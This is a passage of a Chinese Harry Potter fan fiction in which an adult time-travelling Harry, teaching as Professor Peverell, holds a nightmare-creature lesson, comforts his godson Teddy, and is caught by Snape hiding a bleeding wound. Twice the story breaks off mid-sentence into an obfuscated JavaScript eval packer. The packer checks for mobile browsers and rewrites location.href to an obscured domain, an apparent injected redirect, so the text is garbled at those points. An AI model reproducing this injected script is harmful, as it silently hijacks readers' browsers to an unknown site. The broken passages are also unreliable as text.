“白魔法多指能够治疗、守护、创造及降福的魔法,而黑魔法则相反,具体表现为带给别人痛苦和伤害的诅咒。我们学习黑魔法防御术是为了能够在面对黑巫师时抵御黑魔法可能会带给我们的伤害。”赫敏流利地说完,身体稍稍前倾热心地看着哈利,似乎想得到承认。 “回答得很正确,格兰芬多加两分。”哈利点头示意她可以坐下,又说,“但还不够全面,那只是传统意义上的分辨法。” 见包括赫敏在内的学生都露出不解的表情,他接着说,“白魔法和黑魔法看上去泾渭分明,但实际上我们也可以说,根本就没有所谓的‘黑’或‘白’,不管是正义的还是邪恶的魔法,关键在于你怎么使用它,出于什么目的使用它,使用它后带来的结果如何。” “可是黑魔法会给别人造成伤痛,甚至带来灾难,它怎么可能是正义的呢?”赫敏面带疑惑地问。 哈利并不奇怪她会提出这个疑问,“这是个角度的问题。的确有些黑魔法可以不用你动一根手指头就能折磨对方,甚至杀死对方——这些不可饶恕的黑魔法你们以后会慢慢接触到。我们现在需要讨论的是,你用一个魔法使一个坏巫师受伤,传统意义上来讲你用的是黑魔法。但许多人因此获救。也就是说你用这个魔法救了许多人的性命。从这个角度来看,这还是‘只会伤害别人’的黑魔法吗?它也救了人,这本是白魔法的范畴。再打个比方,降雨术是能为干旱地区带来雨水的白魔法,但一旦使用过度,那就真是灾难性的水灾了。” 哈利狡黠地眨眨眼,底下响起一阵低笑声。 “魔法本身不会思考,它们不会自主地去选择行善或作恶。做出选择的是我们巫师,我们可以用魔法去创造、帮助别人,为巫师社会造福,也可以像黑巫师一样用这些魔法犯下暴行,来满足自己的私心、贪婪及权力欲。因此才有了白魔法和黑魔法之分,说白了,是我们巫师本性善恶的体现。” 这时,诺大的教室除了哈利的说话声,再无别的声响,学生们都静静思考着,即使有些道理对于十一岁的孩子来说还是似懂非懂。 “当然,我决不是鼓励你们去学习或使用黑魔法。事实上,有些黑魔法在施展时,仇恨、真心想要伤害别人的情绪是必需的。不管怎么说,我们在使用魔法时不应存在着这些念头。任何形式的杀害生灵都会给你们的灵魂带来难以想像的创伤,而造成的伤害是无法痊愈的,这点你们要牢牢记住。” “为什么我们现在学习博格特之类的生物,而不是直接学习对付黑巫师的咒语?”泰迪忽然提问。 哈利多看了他几眼,眼神有些复杂。“低年级会着重学习某些险恶生物的邪恶方面,比如说红帽子、卡巴、吸血鬼等,外加几个比较简单的防御咒语。到了高年级,我们就会教你们更深奥的咒语,包括如何在面对黑巫师时抵御他们使用的黑魔法。这些咒语需要比较多的魔力支撑,所以你们现在即使学了,成功率也会很低。”他转移了视线,“还有别的问题吗?” 在确定没人提问后,哈利走向讲桌,一手搭在那个黑色的盒子上,“那我们开始今天的主菜吧。” 短暂的寂静后,教室里响起学生们交头接耳的窃窃私语声。每个人都充满好奇,大家都迫不及待想要知道黑盒子里究竟装着什么。 哈利也不卖关子,“里面关着一只伯达克。” 少数学生露出恍然大悟的神情,但更多的学生是一脸迷惑。 “伯达克平常喜欢躲在烟囱里,它对人类不会造成什么害处,因此很容易被我们忽略。伯达克很好对付,所以我打算第一节课就先给你们来个实践当热身。” “有谁可以给我们讲一下伯达克是什么东西吗?”哈利发问。 这回赫敏没有举手,她看上去有点郁闷,因为关于伯达克的介绍并没有出现在一年级的教科书里。纳威怯怯地举起手。 “隆巴顿先生?” 纳威有点局促地捏着衣角。“我听我奶奶说过,伯达克喜欢在人们睡觉时溜进他们的影子里,令他们做噩梦,呃……噩梦是它们最喜欢的食物。” “的确如此,格兰芬多加一分。”哈利赞许地笑道,纳威显得很开心。 “越是令你们害怕、厌恶的噩梦对它们来说是越美味的食物。所以说,梦里甚至可能会出现你们讨厌的或害怕的东西。这一点上倒是和博格特异曲同工。”哈利说,纳威和罗恩惊恐万分的表情很清楚地落在他眼里。他兀自笑笑,接着说,“现在我把它放出来给你们看看它是什么模样的。” 大家都伸长了脖子看哈利用魔杖点开盒子上的锁,打开盒盖,一团黑乎乎、液状的东西被倒了出来。 “这就是伯达克?”小哈利嫌恶地望着眼前的分不清头尾,也没有任何五官的生物。 “没错,伯达克没有固定的形状,它是完全由阴影构成的生物。”哈利指了指在地上蠕动的伯达克,“注意了,它们动作和猫一样敏捷迅速,最擅长的就是无声无息地溜进影子里。” 纳威忽然发出恐惧的声音,在哈利说话的时候,那团黑乎乎的生物已经不见了踪影。 “再补充一点,在找不到烟囱的情况下,伯达克会选择躲进人们的影子里。如果不把它赶出来,它就会一直跟着你们,让你们做一晚上的噩梦。”哈利脸上闪过戏谑一笑。 学生们齐齐倒抽一口气,各自低头往自己的影子看去,显然伯达克已经趁机逃进了他们之中某个人的影子里。 “先生,教室里有这么多人,我们怎么知道它躲进了谁的影子里呢?”赫敏问,她没有像别的学生般急着往地上看。 哈利赞赏地点头,“这就是我们需要解决的问题。一旦伯达克的身体溶入影子里,肉眼是无法看到它们的。这时候我们就得用个小咒语逼它出来,而伯达克只要被赶出来一次,短时间内它是不会再回到原来的影子里的。” “大家先不用魔杖跟我说一次这个咒语。”哈利说,“原形毕露!” 学生们照着念了一遍。 “很好。咒语并不难使用,但你们如果只是对着自己的影子用这咒语,我保证你们念上一百遍伯达克也不会出来。”哈利说,已经举起魔杖的罗恩立马失望地停下来,“我们必须先找出伯达克藏在哪里。首先,大家都在脑子里回想一个曾经做过的噩梦。” 大家都安静下来,回想着最近做过的最可怕的噩梦,不少人的脸色都有些发白,同时又有些茫然,显然不知道下一步会发生什么事。 一声惊呼吸引了大家的注意,发出叫声的是罗恩。他颤抖着手指着地面,张口结舌,说不出半句话。更多的惊叫声响起,如今每个人都看到罗恩的影子被拉长,不停地变换成各种形状,就像在演一部戏似的——虽然只是黑色的影子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156357|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但还是很清楚能看出一个男孩在逃跑,而后面追着巨大的八脚蜘蛛,很快那只蜘蛛就追上那个男孩,喷出蛛丝把他黏在地上。 “梅林的胡子!罗恩你怕蜘蛛怕到连做梦都会做到?”小哈利在一旁低声咕哝着。 “罗恩,趁现在!”哈利大声说。他一时口快直接喊了罗恩的名字,醒悟过来后有些心虚地左右看看,但每个人的注意力都集中在那只伯达克上,没人注意到他的口误。 罗恩颤颤巍巍地举起魔杖,声音扭曲地尖叫,“原形毕露!” “啪”的一声,罗恩的影子瞬间缩小,恢复了原状,旁边则多出了那只黑乎乎的伯达克。可只是一瞬间,伯达克又消失了。 “大家接着回想噩梦!”哈利叫道,“别停下,我希望每个人都能有练习的机会。” 下一个轮到赫敏。她的影子变成一个女孩,那个女孩先是盯着手中的一张纸看,然后她把它揉成一团,虽然看不到影子的表情,但很明显她是哭了起来。 “这也算噩梦?”惊魂未定的罗恩凑近小哈利嘀咕道。 小哈利皱起眉头,若有所悟地说,“唔,我怀疑那是张零分试卷。” 赫敏大概是听到了他们的对话,她的脸涨得通红,恶狠狠地大叫,“原形毕露!” 接下来的噩梦也是千奇百怪——小哈利梦到自己和怪兽搏斗却打输了;迪安的噩梦是自己在迷宫里怎么转也转不出来;帕瓦蒂的梦是她在喂的兔子忽然长大成巨怪;西莫的梦最惊悚,很多胆小的学生直接尖叫起来——影子男孩从飞天扫帚上掉下来,掉入尸体堆里。他手忙脚乱地想爬出来,可那些尸体又都变成一条条蛇,包围着向他发动攻击。 “原形毕露!”西莫仿佛用尽气力喊出这一句,就差没晕过去了。 终于轮到泰迪,可他的梦却让在场大多数人都看不懂——没有惊悚的场面,也没有奇怪的展开,只有一个五六岁的小男孩,孤零零地独自抱膝坐着。乍看之下,就像一个普通小男孩的影子。 “那个是泰迪小时候?”小哈利用手肘碰碰罗恩。 “你问我我问谁?”罗恩回以他白眼。赫敏给他们各自瞪了一眼,两个男孩吐吐舌头,缩起肩膀不再说话。 泰迪倒是很冷静地面对这个诡异的景象,举起魔杖坚定地念道,“原形毕露。” 伯达克再次现身,和前几次一样,一眨眼又不见了。 现在影子还没被附过的只剩下哈利。他没等自己的影子完全变化就懒懒洋地念了咒语,在它显形之际再加了个定身咒,把动弹不得的伯达克关回盒子里去。 “大家都做得非常棒。”哈利锁上盒子后轻松地说,“至于家庭作业,伯达克不在教材中,第一节课我们可以轻松一下。所以,唔,没有书面作业。”大家都欢呼起来。“但是,我要求你们回去读教科书的第一章,并预习第二章。下节课我会提问的,答不出的人将会给我们表演……。好了,你们可以离开了。” 整个班级一边兴奋地讨论上课的内容,一边收拾书包准备离开教室。 “你说如果我们答不出问题,他会让我们表演什么?”罗恩问。 “可能是对付新的怪物?”小哈利摸着下巴猜测,他已经差不多忘了这位教授和他的相貌有多相似了。 “乔治和弗雷德说的对,他的确是位很棒的老师。我很期待以后的课程。”赫敏赞赏地说,“我现在比较感兴趣的是佩弗利尔教授的噩梦会是什么。” “肯定不会是零分试卷就是——啊!”罗恩痛得直跳,赫敏狠狠地踩了他一脚。 “泰迪你知道吗?”小哈利转向在默默收拾书包的泰迪。 “知道什么?”泰迪一脸的迷茫,他们的话他根本没听进去。 “就是——” “泰迪,你能留下来一会儿么?”哈利远远地在讲台边叫道。 泰迪看似有点意外,犹豫了片刻,对另外三人说,“我会去大厅找你们。” 罗恩他们很理解地没问他什么,拍拍他的肩,先行离开了。泰迪又在原地扭捏了好半天,等到教室完全清空,才慢慢蹭到哈利身边,却低着头不肯看他。 哈利叹了口气,伸手抚摸他的头,“还在生我的气吗?” 泰迪的嘴微微撅起,鼻子有点发酸,哈利带着歉意的声音让他这几天的委屈全都涌上鼻尖。他使劲眨了眨发热的眼睛。 哈利蹲下来,头仰视他,满脸内疚,“泰迪,那天的事我很抱歉,我只是——” “哈利,我以前从来没做过噩梦。”泰迪攸地抬起头,对上哈利的视线。他的眼睛有点发红。“可是星期一晚上,我做了一个噩梦。” 哈利一怔。 “在梦里,爸妈,祖母,还有哈利你都在我身边对我笑。我从没那么快乐过。”泰迪的声音很平静,“我想去拉你们的手,想去拥抱你们……可还没碰到,你们都消失不见了。” ——留下他独自呆在那个寂寞的世界里,染上孤独的颜色。那个影子里的小孩只是梦的一部分,最悲哀的那部分。 哈利的手不自觉地紧紧攥着泰迪的手臂,身体微微抽搐着。 “然后我醒了,还是躺在床上。我一开始不敢动,我怕我还在梦里。后来直到天亮,我再也不敢睡着,我怕我还会再做同样的梦。”泰迪那灰色的眼睛睁得大大的,生怕一眨眼泪水就会止不住地往下掉。即使视线已经模糊,他仍是定定地看着哈利,他不知道,泪水早已顺着眼角如线般的流下。 哈利喉咙哽着,眼中充满泪水,一句话也说不出。 “最近我在想,我已经没有爸爸妈妈,也没有祖母了,如果哈利你也不要我,我该怎么办?我很爱哈利,可要是哈利不再爱我了怎么办?” “那天之后,我就一直很害怕。哈利就像变成我不认识的陌生人。我真的很害怕,害怕哪天哈利可能会离开我。” 哈利再也忍受不住,拽过泰迪用力搂住他,脸埋在他的颈间喃喃地说。“对不起,泰迪……对不起……”除了这三个字,他实在不知道还能说些什么来弥补自己犯下的错。 这一刻,他觉得自己就是个十足的大混蛋! 他凭什么控制不住自己,把怒气撒到自己的教子身上?他凭什么让自己最想保护的泰迪这么伤心不安?他凭什么把时间都花在那不知道是不是见梅林去了的死魔头身上,忘了来向泰迪道歉呢? 他忘了,也忽略了,泰迪只是个孩子的事实。在来到这个时代前,他甚至只是个5岁的孩子。他凭什么想当然的认为在环境的剧变下这个孩子会比他自己还坚强?他早已成人,所以忘了孩子会多渴望爱,忘了孩子的情感比成年人更纤细。 泰迪轻轻地回拥哈利,低声啜泣着。“你会一直和我在一起吗?” “当然,除了我还有谁能照顾你呢。”哈利哽咽着说。 “不会再无缘无故对我凶了?”泰迪放开哈利,抽抽鼻子,把自己的额头抵住他的。 “我保证。”哈利的语调很坚定,“你对我感到失望吗?泰迪。” “我对自己失望。”泰迪摇摇头,“我什么也帮不上你。” “你该不会以为我会因为这样就不要你了?”哈利觉得难以想象。 泰迪低头不语。 “哦,梅林!”哈利单手扶着自己的额头,用泰迪听不到的声音自言自语道,“我怎么会有这么可爱的教子?” “哈利你在说什么?”泰迪歪着脑袋问。 “泰迪,你听着,”哈利看进泰迪的淡灰眼眸中,正色道,“你还只是个孩子,你只要乖乖地享受大人给你的保护就行了。你不需要想着为我分担些什么,那是我自己的责任。” “你以前说过想对付食死徒之类的,那对于你来说还太早,就算你什么也做不了,那也不是你的错。你现在的责任,就是努力学习,多交点朋友,多长点个子,做一个快乐的霍格沃兹学生。那么我也会快乐。” “真的?”泰迪破涕为笑。 “当然。”哈利怜爱地抚摸他的头,“现在心情好点了?” 泰迪不好意思地点点头,用袖子擦了把脸说,“那我先去找罗恩他们,让他们等太久不好。” 哈利目送着他离开。淡淡地笑了。 20. 诡异的魔药课 哈利咬紧牙关,轻轻掀开缠在身上的绷带,房间里顿时弥漫起一股浓郁的血腥味。再次撕裂伤口带来的疼痛让他倒吸一口冷气,随手把绷带丢在地上,他背对着镜子,转头注视着镜里映出的被染得鲜红的伤口,郁闷地叹气,“果然还是不行啊。” 伤口处还在一裂一裂地传来痛楚,猛然间头晕得厉害,哈利无力地坐到沙发上,尽量不让背部被碰到。再这样下去有多少血也不够耗,他很认真地考虑是不是该去向庞弗雷夫人求助。可想起庞弗雷夫人的强制留院手段,哈利打了个冷战后还是放弃了——他现在可没那么多时间耗在医疗室里,况且这个伤看来并不寻常,庞弗雷夫人也未必能立刻治好。哈利吁了口气,用飞来咒招来一卷新的绷带,一边重新缠在伤口处。治疗咒语他试了不少,可除了让他疼得浑身冒汗外毫无效果,现在就剩魔药治疗还没尝试。说到魔药—— 哈利目光飘移到写字桌上那张快写完的清单,咬咬牙,走过去执起羽毛笔蘸了蘸墨汁,“试试看吧。” 一只雪白的猫头鹰扑棱着翅膀飞过格兰芬多的桌子,来到泰迪的上方丢下一封信,打翻了罗恩的南瓜汁。 “嗨,海德薇。你给我带来了什么?”海德薇落到泰迪的肩膀上,亲昵地轻啄他浅褐色的头发。泰迪手指梳理了下雪枭的羽毛,好奇地拿起丢在桌上署名哈利的那封信。“哈利给我的信?” 海德薇咕咕两声,鸟喙伸进泰迪的麦片粥里津津有味喝了起来。泰迪撕开信封,一旁的小哈利饶有兴趣地把头凑过来——和他相貌有十分相似的佩弗利尔教授几乎成了他的新偶像,他甚至不再介意两人酷似的相貌,反而以此为荣。 亲爱的泰迪, 我猜你正在吃早餐?记得吃两个鸡蛋,不准挑食。(小哈利嘀咕,“怎么跟我妈妈一样会唠叨这些事!”) 另外,可以帮我个小忙吗?我的课上实践比较多,学生容易磕磕碰碰,或许会因此受点伤。但有些小伤没必要专门去麻烦庞弗雷夫人,我在信里附了张清单,上面列的药剂都是可以治疗普通外伤的。魔药课后把它交给斯内普,可以的话请他各给我一些。你向他要的话,我想他会给的。 爱你的, 哈利 小哈利读完这封信,皱起眉头说,“佩弗利尔教授和斯内普教授关系很好?” 泰迪噗地笑出声,“他们每次见面没打架就很不错了。”他抽出信封里的那张清单,上面写了好几种他听都没听过的药剂,只有一个他还有点印象,好像是能瞬间止血的魔药。 他向赫敏借了羽毛笔和撕了张字条,匆匆写道,“好的,我会向他要的。可是哈利你为什么不来大厅吃早餐?”他拍拍海德薇的背,让它把信带走了。 “可看信里的口气他们似乎很熟。”赫敏要过信来仔细读了读,分析道。 “没错,哈利以前是他的学生。”泰迪手里剥着一个水煮蛋,毫不在意地说。 三个人都惊呆了。 “佩弗利尔教授是斯内普教授的学生?”小哈利大声嚷嚷,仿佛这是世界上最荒唐的事。 罗恩嘴里塞得满满的面包,插嘴道,“克窝挺所塔篇像素赖特林(可我听说他偏向斯莱特林)。” “哈利也是这么说的,所以他从第一节课开始就被刁难……唔,其实他自己也说过现在会不恨西……斯内普教授简直是奇迹。”泰迪给自己拿了第二个鸡蛋,慢慢剥起蛋壳来。 “那为什么佩弗利尔教授让泰迪你去向斯内普教授要药剂呢?”赫敏问,她总能抓住问题的关键。 泰迪正想回答,小哈利忽然露出恍然大悟的神情,随之又带着些难以置信,“我想起来了,你上次就提到过他,斯莱特林的院长……梅林,你才说他们关系不好,可你居然叫他西弗?!那是他的教名?” 他这么一说,另两人也回想起分院仪式上的骚乱。那时候他们还不知道泰迪嘴里的“西弗”是谁,没想到居然就是除了斯莱特林其他学生都会避之不及的斯内普教授。 “他的教名是西弗勒斯。”泰迪耸耸肩,干脆换回了原来的称呼,“可是我挺喜欢西弗的,他还有教我制作魔药,在他家里。” 这回三人是彻底惊得无法反应了。一向偏心的斯内普会主动教非斯莱特林学院的学生,他们还宁愿相信霍格沃兹的城堡哪天会塌下来。 “都是些最简单的魔药,我老被他骂,都习惯了。”泰迪咬了口鸡蛋,咽下后慢条斯理地说,“西弗在魔药上的确很严格。” “佩弗利尔教授知道你以前在跟他学魔药吗?”罗恩问,他的半块面包还在他手里忘了送进嘴里。 “大概不知道吧。”泰迪歪着头想了想,“我没和他说过,本来想学好了再去给他个惊喜的。” “那还真是个‘大’惊喜。”小哈利无语。他又拿过泰迪的信翻来覆去地看,“嘿,信的背后还有一句话!” 泰迪闻言立刻转过头来看,只见信纸背后的确写了一行蝇头小字,不仔细看还真的容易被忽略过去。 P.S.斯内普上课不扣点格兰芬多的分是不会舒服的——不管有没理由,反正这是除了魔药外他最擅长制造的。我很怀疑这是他的恶趣味。总之做好你自己的魔药当他是嗡嗡乱叫的苍蝇别理他,当然如果你能对他幻想破灭那是最好了。别指望他在课上会和颜悦色,但要是让我知道他敢在课上故意刁难你的话,我会去好好“拜访拜访”他的。 泰迪微微嘟起嘴,另外三个人却都捧腹大笑。 “我越来越喜欢佩弗利尔教授了。”小哈利俯下身憋笑,手还在桌上捶着,“我的教父也有跟我说过离斯内普教授远点,他们学生时代好像是死对头。虽然妈妈叫我别听他的。” “可是教授不该随便扣学院分的。”赫敏抹了把眼角笑出的泪,“那不公平。” “得了吧。乔治和弗雷德说,他们第一节课就被斯内普教授扣了十分,可他们还没开始捣乱呢!”罗恩好不容易把嘴里的面包都吞下去,他刚刚花了老大的劲才没把它们都喷出来。“而且听说他最近心情特别不好,上过他课的高年级都叫苦不已,说他的眼神简直就是想把他们熬成魔药。” “唔,我倒是挺想见识下。”泰迪这句话迎来三人不屑的目光,他吐了吐舌头,把自己埋到麦片粥里去。 “不管怎样,魔药课靠你啦,伙计。”小哈利一手靠他肩上,邪邪地笑着说。 如果说哈利那直到第二天还在被一年级的学生津津乐道的黑魔法防御课有如天堂般精彩的话,那么斯内普的魔药课就仿若地狱般恐怖。 当斯内普出现在本来就阴冷得能让人瑟瑟发抖的地窖时,所有人都能感受到一股拒人于千里之外的冰冷气息。他阴沉着脸,大步流星走向教室前方的讲桌,带起黑袍滚滚。 几乎每个学生都暗自在心里给他贴上“这个老师不好惹”的标签。泰迪疑惑地蹙紧眉头,怎么不管是哈利还是西弗最近心情都那么不好? 斯内普漆黑深邃的双眼闪电般扫过众多的学生,动作不失优雅地拿起名册,每叫到一个学生,那个学生稍带颤抖的声音就会响起。有个男生回答得慢了几拍,迎面而来的犀利目光吓得他直想躲进坩埚里。点到泰迪名字的时候斯内普顿了顿,又若无其事地接着点下去。 “哈利·波特。”点到小哈利的名字时,斯内普停住了,“哦,是的。又一个波特。”他声音放得很低,但能清楚地传到全班同学的耳朵里,“我已经能预见到以后的魔药课会是场难以避免的灾难,只要有任何波特的存在。” “你可不是先知。”小哈利不满地咕哝,声音却大得足以让斯内普听见,“再说天天泡在坩埚里迟早变成药呆子,我才没那兴趣,学黑魔法防御或变形有趣多了。” 斯内普的视线在他身上停留片刻,从鼻子里哼了声,“如果你是想来魔药课上卖弄你从别处学来的傻乎乎的挥棒技术——”斯莱特林那边发出低低的哄笑声,“很遗憾,魔药课不是让陶工来炫耀他的陶器的。(注1)” 德拉科和他的两个跟班一起发出夸张的大笑,斯内普只是淡淡地看了他们一眼,有意无视小哈利在底下咬牙切齿及泰迪在后面低声叫他冷静的举动,流畅地点完剩下的名字。 接着斯内普抬起目光,他空洞的眼神不带任何感情,却具有轻易震慑全场的威力,使得全班再次屏息静听。“正如我刚才对某个不懂得魔药制作的奥妙所在、在这方面完全看不出丝毫潜力的学生所说(小哈利不爽地撇撇嘴),在魔药课上投机取巧只会使得你们在这个领域一败涂地。精确的时间、恰当的温度、严格挑选的材料、准确的搅拌,当然,还有魔法——魔药配制是比任何魔法领域更为严谨的科学,也是一项精细的工艺。鉴于你们——除了少数有脑子的外——大多数人脑子里装满了琐琐碎碎不知所谓的垃圾,我不指望你们能领会魔药在熬制过程中可能带给你们的头脑间火花迸发似的触动,或者是一泓流液在你们体内流窜、随着脉搏鼓动时摄人心魂的震颤,更别说那能冲击感官的无与伦比的美妙魔力。弃芜求精的魔药制作能教会你们酝酿荣耀,精炼名望,甚至是——升华死亡。前提是,你们并非那些随处可见的傻瓜。” 斯内普的一席开场白把学生们都唬得一愣一愣的。赫敏急切地把身子往前探,似乎想证明自己绝不是属于笨蛋一流的。小哈利和罗恩同时把头转向坐在他们身后的泰迪,对他做了鬼脸。泰迪回他们个鬼脸,苦笑着摊摊手。 “波特!”斯内普忽然的点名让小哈利差点从椅子上跳起来,“嚏根草是什么药剂的原料之一?” 小哈利茫然地看着他,什么草?赫敏已经高高举起了她的手。 他正想回答不知道,泰迪戳了戳他的背,用和耳语差不多的声音轻声说,“是缓和剂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“蠢材!”斯内普用魔杖清理了满地的药水,让西莫把纳威送到医疗室去后又转向小哈利厉声说,“波特,你为什么不提醒他要把锅从火上端开后才加豪猪刺?格兰分多因为你的自私扣一分。” “这不公平!” 罗恩狠踢小哈利一脚,阻止他再开口辩解。可这次出声的是泰迪。 “我也认为这不公平,先生。” 斯内普眯起眼,泰迪镇定自若地回视他。 “一开始我帮哈利的时候你说他作弊,他忘了提醒纳威时你又说他自私,可这么说来,要是他帮了纳威那纳威就算作弊了不是吗?” 地窖里鸦雀无声。大家都震惊于泰迪居然敢公然和斯内普叫板,一个个都竖起了耳朵。小哈利和罗恩呆呆地张大嘴,没注意他们的药水已经快溢出来了。 “回答问题和制作魔药是不同的概念。”斯内普挑眉。 “那我可以说这是你的指示不清吗,先生?” “我想我还不需要你对我的教学方式指指点点,卢平!格兰芬多——”斯内普想说扣两分,眼角视线瞟到泰迪做好的药水,那完美的色泽和气味让他有加两分的冲动。“注意你的语气,没有下次。” 全班哗然。魔药课剩下的时间里,地窖里充斥着的诡异气氛一直持续到下课。 “西弗?”下课后泰迪故意留在最后,仿佛什么事也没发生过似的蹭到斯内普身边。 “我没允许你在学校这么称呼我。”斯内普冷漠地瞥了他一眼。 “那好吧,斯内普教授?可是你不应该随便扣哈利的分。”泰迪一本正经地说。 “我说过我不需要你来指点我该给谁扣分。” “好吧,总之谢谢你把我拉开。”泰迪稍稍歪着脑袋,露出笑容真诚地说。 斯内普停下手上收拾公文包的动作,“你留下来干什么?为什么不和你那班傲慢的朋友回去?” “我有东西要给你。”泰迪自动无视了他的后半句,从书包里掏出哈利给他的清单递给斯内普,“哈利想要一些魔药,黑魔法防御课上用的。” 斯内普一听就知道他是在说哪个哈利。他轻蔑地笑了,冷冷地甩出一句,“他当我是什么?自动魔药提取机?”可他还是接过了那张清单,漫不经心地草草浏览一遍,视线在某行字上猛然停住,“让他自己来找我。” “什么?” “我说了,让他自己来找我!”斯内普咬牙切齿地命令道,“否则一瓶魔药也别想拿到!” =============================== 注:potter(波特)在英语里有陶工的意思。英语俗语‘Everypotterpraiseshisownpot.(每个陶工都会炫耀他自己的陶器。)’在中文里就是老王卖瓜,自卖自夸的意思。此处是双关,斯内普以此讽刺小哈利。 21. 暴露 “斯内普叫我自己去找他?”哈利一块培根刚入口,立马露出仿佛很难吃的表情。“为什么?” “我怎么知道?”泰迪无辜地摊摊手,若有所思地望着好不容易被他在教工桌子那里逮个正着的教父,“好像是你给他的清单有什么问题?” 哈利猛烈地咳起来,他把自己呛着了。 “哈利,你清单里写了些什么?”泰迪狐疑地微微眯起眼睛。 哈利又给自己灌了好几口南瓜汁,止住咳嗽后不自在地避开泰迪的逼视,“你不是看过吗?就是些普通的外伤药啊……” 可惜他的话太没说服力,泰迪显然是并不相信,“西弗说直接去他办公室找他,密码是‘蛇语’。我等会儿陪你一起去。” “你去干什么?”哈利大惊小怪地叫道,“斯内普叫我去找他准没好事。” 泰迪赏了他一个大白眼,“所以我才要陪你去。西弗脸都绿了,我可不想看到你们打架。” “谁有心情和他打架。”哈利低声咕哝着,“真是自找苦吃,我就知道他会一眼看穿的……我干嘛自己送上门去给他讽刺啊……” “哈利,你是不是病了?”看着满脸不情愿的哈利,泰迪犹豫片刻,终于是忍不住问,“我昨天就觉得,你的脸色很不好。” “我没事。”哈利有气无力地摆摆手,“你别跟去了,下午不是要去找海格吗?” 泰迪双手叉腰,嘻嘻地笑,“我已经和罗恩他们说好了,到时候直接在海格的小屋外面等就行。”说着他拉起哈利的手使劲拖他,“快去吧!你不是还说过如果西弗故意刁难我你会去‘拜访’他的吗?转眼就怕了?” 本来还在磨磨蹭蹭不想动身的哈利闻言立刻拉下脸,“斯内普为难你了?他怎么敢?” 泰迪缩缩脖子,“呃……没有,倒是哈利……那个哈利比较惨,西弗老是故意针对他。” “如果对象是波特的话,那很正常。”哈利脸色缓和了不少,“倒是你有乖乖照着我说的没去理会他吧?” 泰迪挺胸,“我找他理论去了。” 哈利一手抚额,“哦,那格兰芬多这次准是扣惨了分。” “他没扣我分。” “没扣分?”哈利先是觉得斯内普的反常行为极其匪夷所思,想了想后又了然,拍拍他的肩膀,“我看他把你列入他的偏心名单里了。这没什么不好的,毕竟以前斯内普可是宁愿去吞一只蜘蛛也不可能去偏向任何一个格兰芬多的。” 哈利嘴上淡然说着,心底到底不怎么平静。 如果是原来那个时空的斯内普,他会怎么做? 莉莉的死,注定了他未来将活在空虚的边缘。永远够不着的那个人,如同蜡烛之火点燃了他狂热的爱恋,也成为了束缚他的誓言,而他只能用仇恨麻醉自己以得片刻的解脱。 可他甚至无法带着纯粹的恨意对待她留下的那个孩子。 但是,莉莉还活着。这足以影响另一个人的命运。 也许仍是为了莉莉,也许是出于自己的选择,斯内普现在依然留在凤凰社。但无论如何—— 如果是原来的斯内普,他痛恨、却又不得不去保护被他撕下的半张照片里那个波特家的遗孤。 如果是原来的斯内普,不可能坦率地去喜欢一个本和他毫无关系的孩子。 如果是原来的斯内普,绝不会像现在这样,更像一个活人。 …… 斯内普的办公室内,斯内普似乎正在批改学生的论文,哈利和泰迪进来时弄出的声响也没能令他抬头看他们一眼,只是淡淡地随口说,“把衣服脱了。” “什么?”哈利被这句突如其来的话弄得狼狈至极。 “脱衣服?”泰迪莫名其妙地瞪着斯内普。 “不要让我说第二遍。”斯内普搁下手中的羽毛笔,闪着阴冷寒光的目光扫来,用不容置疑的语气说,“脱了你的衣服,受伤那部分的!” “哈利?你……受伤了?”泰迪目光中流露出担心地神色。 哈利没有理会泰迪的问题,也没有乖乖动手脱衣服,“斯内普,万事讲究证据。凭什么你让我脱我就脱?” “你以为你那种拙劣的把戏能蒙混过关?波特就是波特,魔药方面还敢在我面前班门弄斧。”斯内普嗤笑道,甩过一张羊皮纸,正是哈利列的那张魔药清单,“以大叶紫珠为原料的补血剂,以铁角蕨为主原料的消血液,还有欧蓍草汁,这三种药剂以5:2:3的比例混合调配就能成为效果最强烈的止血药剂。黑魔法防御课上的小磕小碰流的血还不够装满一小瓶子会需要用到这么强烈的止血剂?” 哈利还想辩解什么,泰迪一把拉住他的衣袖,焦急地问道,“哈利,你到底是不是受伤了?快点让我看看!” “……好吧。”哈利做了几个无意义的手势,最后终于自暴自弃,梅林知道他为什么会沦落到被自己的教子和自己最不爽的人给逼着脱衣服? 一条斜跨整个背部的柳叶形伤口暴露在空气中,不但没有愈合,甚至犹如在呼吸似地一张一合,血不断顺着伤口往外涌,给本就狭长的伤口平添一分狰狞感。泰迪发出低低的惊呼声。“哈利!” “这么重的伤!为什么你完全没说过!”泰迪着急得想去查看伤口的情形,可又不敢下手去碰,等他又抬起头时,眼睛已经红了一圈,“昨天你就受伤了对不对?” “泰迪,你冷静点。” “你为什么不去医疗室呢?也不告诉我?我昨天是不是碰到你的伤了?” “这并不是什么大不了的伤……” “大不了的伤会不停地流血?”泰迪的眼泪已经不争气地掉了下来。 “我很抱歉,我没想到会让你这么担心。”哈利单手把泰迪搂过来,轻轻抚摸他的脑袋。“男孩子别总是哭。” “我也很抱歉,如果你们想上演温馨的亲子剧的话,请不要选在我这种煞风景的地窖里。”一直冷眼旁观的斯内普在一旁说着风凉话,哈利和泰迪立刻面色尴尬地分了开来。 “你这是被什么伤的?”斯内普上前懒洋洋地查看哈利的伤口。 “不知道。”跨坐在椅子上的哈利耸耸肩,却因为牵动伤口而痛得呲牙咧嘴。泰迪担心得团团转,可他一点忙也帮不上。 “不知道是什么意思?” “我没看到是什么伤了我,我那时候在湖底……” “你去湖底干什么?”斯内普危险地眯起黑色的眼睛。 